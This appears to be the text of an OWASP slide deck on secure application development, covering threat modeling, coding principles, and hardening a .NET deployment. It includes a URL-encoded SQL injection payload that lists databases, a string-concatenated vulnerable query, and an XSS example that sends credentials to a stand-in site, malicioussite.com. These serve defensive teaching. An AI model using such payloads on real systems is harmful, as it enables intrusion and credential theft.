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Application Security Landscape 

 An April 2011 Forrester Research study 
Application Security: 2011 & Beyond found that 
even though secure application development is 
considered a top priority by IT professionals, 
web application hacking continues to be the 
number one source of data breach incidents. 

 Part of the challenge is getting development 
organizations to undergo the culture shift 
required to making risk management and 
mitigation in application development a priority. 
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Application Security Landscape 

 According to Verizon Business 2010 Data Breach 
Investigations Report web application hacking 
was the No. 1 attack pathway for data breaches, 
accounting for 54% of all the breach incidents 
and 92% of all the records breached. 
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Cost Of A Data Breach 

 A recent survey by Ponemon 
Institute and Symantec of 51 cases 
found that a data breach cost, on 
average, $7.2 million per breach to 
make things right.  
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Importance of Security 
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Risk of negative media exposure due to… 
§  Perception that you have not properly protected or secured data shared with 

third parties 
§  Belief that you are sharing too much or unnecessary data with third parties 
§  Perception that you are behind the competition or below industry standards in 

providing policies and tools to secure customer data 

Public 
Relations 

Financial 

Your potential cost related to a compromise… 
§  Cost of fraud, lost goods or services, interrupted sales 
§  Loss of repeat customers 
§  Adverse impact on company share price 
§  Monetary damages arising from litigation 

Regulatory/ 
Compliance 

Legal ramifications if there was a security breach… 
§  Cardmembers, individually and as class-action members, may seek damages 

incurred from theft, fraud, or other misuse-use of the Cardmember’s data. 
§  Might lead to governmental sanctions 



OWASP 7 



OWASP 

Why do Security Vulnerabilities Occur? 

 Lack of requirements 
 The security features just don’t get built in 
 Security is just not a priority 
 Lack of cost justification 

 Lack of time 
 Rush software out without adequate testing 
 Lack of training 

 Some security vulnerabilities occur due to 
developers need to facilitate testing 
  Developers bypass security features such as account lockouts, 

timeouts,  introduction of verbose error messages, weak 
password policies, test accounts 
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 Too much reliance on developers implementing 
security. Developers are not security experts!  

 Many things have to be done correctly! 
 Physical Security 
 Infrastructure Security 
 Application Configuration 
 Validation of User Input 
 Authentication Mechanisms 
 Authorization Controls  
 Error Handling and Error Recovery 
 Log File Generation 
 Database Security and Data storage  
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Security Foundations: Concepts 
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I-A-C Triad 
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I-A-C-A 

 Integrity is the property that enterprise 
assets are not altered in a manner contrary to 
the enterprise’s wishes. 

 Availability is the property that enterprise 
assets, including business processes, will be 
accessible when needed for authorized use. 

 Confidentiality is the property that data is 
disclosed only as intended by the enterprise. 

 Accountability is the property that actions 
affecting enterprise assets can be traced to 
the actor responsible for the action. 
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Application Attack Surface 

 The amount of accessible 
functionality an application has that 
may be tested by an attacker is called 
an attack surface 
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 Secure By Design 
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Threat Modeling 
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Threat Modeling 

 Threat modeling is an engineering technique you 
can use to help you identify threats, attacks, 
vulnerabilities, and countermeasures in the 
context of your application scenario. The threat 
modeling activity helps you to:  
 Identify your security objectives. 
 Identify relevant threats. 
 Identify relevant vulnerabilities and countermeasures. 
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Step 1: Identify Security Objectives 

 What can we prevent? 
 What do we care most about? 
 What is the worst thing that can happen? 
 What regulations do we need to be aware of? 
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Step 2: Identify Trust Boundaries 

 Where are the entry points? 
 Search page 
 Registration page 
 Login 
 Shopping Cart 
 Checkout 

 Can you trust the data? 
 Can you trust the caller? 
 Where are the exit points where data is being 

written back? 
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Step 3: Identify Threats 

  Brute force attacks against the dictionary store 
  Network eavesdropping between browser and Web server to capture client 

credentials 
  Attacker captures authentication cookie to spoof identity 
  SQL injection 
  Cross-site scripting (XSS) where an attacker injects script code 
  Cookie replay or capture, enabling an attacker to spoof identity and access 

the application as another user 
  Information disclosure with sensitive exception details propagating to the 

client 
  Unauthorized access to the database if an attacker manages to take control 

of the Web server and run commands against the database 
  Discovery of encryption keys used to encrypt sensitive data (including client 

credit card numbers) in the database 
  Unauthorized access to Web server resources and static files 
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Step 4: Identify Vulnerabilities and Counter-
Measures 

 Armed with a list of threats consider how the application 
handles these threats. 

 Sample questions to consider: 
 How, specifically, will input validation be performed in 

this application? 
 Are we validating all input? How are cookie values 

validated? 
 What level of logging will be in place? How will this 

be handled? 
 How will we protect user sessions?  
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Security Design Patterns 

 A pattern can be 
characterized as “a solution to 
a problem that arises within a 
specific context”. 
 A proven solution to a 
problem. 
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Security Design Patterns 

 

 Secure Logger 
 Remote logging for decentralized systems 

 Input Validator 
 Validate input against acceptable criteria  

 Clear Sensitive Information 
 Exception Manager 

 Wrap and sanitize exceptions 
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 Secure By Implementation 
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Development 

 Know and use tested libraries 
 OWASP ESAPI input validator 

 Consistent use of coding standards and 
development processes 

 Develop unit test cases for all threats identified 
during design 

 Perform Peer Code Reviews 
 Consider providing Security Training for your 

developers 
 Additionally there are a lot of free resources 

such as local OWASP meetings 
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OWASP Top 10 
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OWASP Top 10 Secure Coding Practices 

1)  Minimize Attack Surface 
2)  Establish Secure Defaults 
3)  Principle of Least Privilege 
4)  Principle of Defense in Depth 
5)  Fail Securely 
6)  Don’t Trust Services 
7)  Separation of Duties 
8)  Keep Security Simple 
9)  Fix Security Issues Correctly 
http://www.owasp.org/index.php/Secure_Coding_Principles 
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CERT Top 10 Secure Coding Practices 

1)  Validate Input 
2)  Heed Compiler Warnings 
3)  Architect and Design for Security Policies 
4)  Keep It Simple 
5)  Default Deny 
6)  Least Privilege 
7)  Sanitize Data 
8)  Defense In-Depth 
9)  Effective Quality Assurance 
10)  Secure Coding Standard 
https://www.securecoding.cert.org/confluence/display/seccode/Top+10+Secure+Coding+Practices 

27 



OWASP 

Example – SQL Injection 
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con = this.getConnection(); 
stmt = con.createStatement(); 
str = "SELECT * FROM product where prod_cat= 
‘”+ prod_cat + ‘”; 
 
prod_cat=%27%20union%20select
%20null,null,null,table_schema,null,null,null,null
%20FROM+information_schema.tables--+  
will list all databases in the system 
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SQL Injection - Mitigation 

 Use an interface that supports 
bind variables (prepared 
statements, or stored 
procedures) 

 Bind variables allow the 
interpreter to distinguish 
between code and data 
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Example 

String selectStatement = "SELECT * FROM product 
where prod_cat = ? "; 
PreparedStatement prepStmt = con.prepareStatement
(selectStatement); 
prepStmt.setString(1, prodCat); 
ResultSet rs = prepStmt.executeQuery(); 
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Example - Cross-Site Scripting 

 Any page that accepts user input and then uses 
that data in a way that displays the input back 
to the user 

 Any page that directly writes POST or GET 
variables back to the user’s browser 
 This almost always will result in a XSS 
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Cross-Site Scripting 
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(1)  Attacker Emails link:  
http://testsite.org/login.aspx?  

  format=“><script>…</script> 

(2) User clicks link:  
http://testsite.org/login.aspx?  
format=“><script>…</script> 
 
(3) Page returns with  
Embedded redirection code  
<Form action= 
“http://malicioussite.com/stealcreds.aspx”   
Method=“POST”> 
 

(4) User 
POSTs creds to 
Malicioussite.com 
 

(5) Server logs  
Stolen credentials, 
Allowing the hacker 
to retrieve them 
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Cross-Site Scripting - Mitigation 

 Use the most restrictive input-validation method 
possible to avoid accepting unnecessary 
characters 

 Use exact match or white-list input validation 
 Encode characters using appropriate location 
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Testing 

 Unit Testing 
 Application Testing against requirements 
 Application Penetration Test 
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 Like A Rock – Securely Deployed 
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Deployment 

 Configure settings, system patches/updates, 
backups, etc 

 Disable test and default accounts 
 Important to ensure system is deployed in a 

secure manner 
 Proper server configuration and hardening 
 Access controls are appropriately applied 
 Test and debug components are not enabled 
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.NET Example 

 Ensure that Trace is disabled in the production 
configuration as follows: 
 <configuration> <system.web> <trace 

enabled="false" localOnly="true"> 

 Ensure that Custom Errors are enabled in the 
production configuration as follows: 
 <configuration> <system.web> <customErrors 

mode="RemoteOnly"> 

 Ensure that Debug is disabled in production as 
follows: 
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.NET Example contd. 

 <configuration> <system.web> <compilation 
debug="false"> 

 Ensure that ValidateRequest is set to true in 
production as follows: <system.web> 
 <pages validateRequest ="true" />  

 Ensure that view state protection is enabled and 
tamper proof in production machine.config as 
follows: 
 <pages enableViewState="true" 

enableViewStateMac="true" /> 
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Maintenance 

•  Ongoing maintenance of application once 
it has been deployed 
§  Reviewing logs 
§  Deploying system and application patches 
§  Backup and Disaster recovery 
§  Monitoring and logging 

 Perform Application penetration Tests 
upon major changes 

 Consider using a WAF for continuous 
security 39 
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 Questions? 


